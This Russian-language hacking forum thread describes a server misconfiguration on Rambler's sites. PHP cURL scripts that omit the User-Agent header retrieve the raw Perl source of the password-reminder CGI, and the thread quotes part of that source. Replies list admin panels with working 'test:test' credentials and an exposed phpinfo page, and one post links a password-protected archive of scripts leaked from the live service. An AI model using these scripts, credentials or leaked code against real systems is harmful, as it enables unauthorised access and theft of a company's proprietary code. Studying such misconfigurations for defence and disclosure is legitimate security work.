Совсем нечаянно наткнулся сегодня днем,выкладываю сюда в виде мини статьи. Запускаем тот скрипт,и смотрим на вывод. PHP: <?php $exec = curl_init('http://id.rambler.ru/script/reminder.cgi'); curl_setopt($exec, CURLOPT_RETURNTRANSFER, 0); curl_setopt($exec, CURLOPT_REFERER, 'http://id-planet.rambler.ru/default/'); curl_setopt($exec, CURLOPT_HEADER, 1); $page = curl_exec($exec); echo $page; ?> Запустив скрипт, я был очень удивлен увиденному, а увидел я следующее(приведен лишь отрывок полного кода): Code: #!/usr/bin/perl -w # Password reminder for mail.rambler.ru project # Original version by [email protected] # Rewritten by Maxim Dounin, [email protected] # $Id: reminder.cgi,v 1.35 2009/04/02 18:51:47 citrin Exp $ ############################################################################### use strict; use warnings; use utf8; use CGI qw/ param /; use Digest::MD5 qw/ md5_hex /; use Time::HiRes; use Rambler::CaptchaManager; use rutils; use r_icq; use rcfg; my $H = { myname => 'reminder.cgi', DEBUG => 0, LOG => $rcfg::logdir.'/reminder/reminder_log', # template, used by rutils::print_tmpl TMPL_ROOT => $rcfg::tmpldir, TMPL => 'reminder.tmpl', SKIN => 'id', SKIN_OPT => { DEFAULT => $rcfg::urls{id}, LOGOUT => 'http://www.rambler.ru/', AUTH => $rcfg::urls{id}.'script/auth.cgi', }, # interface charset CHARSET => 'windows-1251', # ratelimits RATE_LOGIN => { rate => 1/3600, burst => 5 }, RATE_IP => { rate => 1/3600, burst => 10 }, RATE_IP_ROBOT => { rate => 1/60, burst => 50 }.... Собственно после несложного мыслительного процесса, я пришел к выводу, что передо мной исходники страницы Восстановление паролей. А причина то, смешная! После небольшого танца вокруг Рамблера, было выявлено еще как минимум 5 скриптов, которые можно скачать таким образом, и мне захотелось узнать с чем это связано.Первой мыслью было, что умер интерпретатор Perl, но из браузера я видел вполне нормальный результат работы скрипта, а не его исходник, значит этот вариант отпадает.Посмотрев заголовки отправляемые браузером сервера Рамблера, были поставлены опыты, и выявлено, что Рамблер показывает исходники некоторых скриптов, если к ним обратиться без заголовка User-Agent: ****. То есть, вот такое обращение к скрипту: PHP: <?php $header = array('User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8'); $exec = curl_init('http://id.rambler.ru/script/reminder.cgi'); curl_setopt($exec, CURLOPT_RETURNTRANSFER, 0); curl_setopt($exec, CURLOPT_REFERER, 'http://id-planet.rambler.ru/default/'); curl_setopt($exec, CURLOPT_HEADER, 1); curl_setopt($exec,CURLOPT_HTTPHEADER, $header); $page = curl_exec($exec); echo $page; ?> вполне нормальное.Увидим результат работы скрипта.Спасебо досвидания.Я отмечать праздники. Full version статьи! Всех с наступающим праздником!
Это походу будет работать на всех сайтах с интерпретатором perl ЗЫ смешно ) Хотя если скачать исходники, то скоро появятся статьи как отломать мыло )
http://in.fo2.rambler.ru/administrator/ Joomla =) http://ad.rambler.ru/adm/client/ban.adm?cmd=list&item=bn test:test http://ad.rambler.ru/adm/admin.adm test:test http://fo2.rambler.ru/info.php phpinfo Решето ))
http://fo2.rambler.ru/forum/member.php?u=1 Работает на vBulletin® версия 3.7.1 http://fo2.rambler.ru/info.php phpinfo раскрытые путей /usr/local/www/fo2apps/html/info.php
На глазах у меня прикрыли Буквально в эту минуту. PS: На хабре: Code: m0Hze Пользователь заблокирован С чего бы это?
Всем приветы.Обидно конечно,что на хабре дали бан. Неудобно перед пригласившим,да и вообще как то несправедливо,я ведь ви в суппорт отписал до публицакии Ну да ладно,оно того стоило.
Непонятна природа этого дебильного косяка... Почему скрипты не исполнялись при отсутствии поля User-Agent?!
Кривая настройка сервера,я это уже узнал.Такое еще есть на ихних поддоменах,в некоторых папках.В общем,условие,если нет реферера,или он = 0,то скрипты выдаются как text-plaint. Ежеле нет,то Add-Type ит.д,и он выполняется.Кривые .htaccess
В архиве - 4 скрипта,которые были с/\иtы в первую очередь.Их я выложу. http://slil.ru/28683765 pwd: antichat Возможно найдете что то интересное.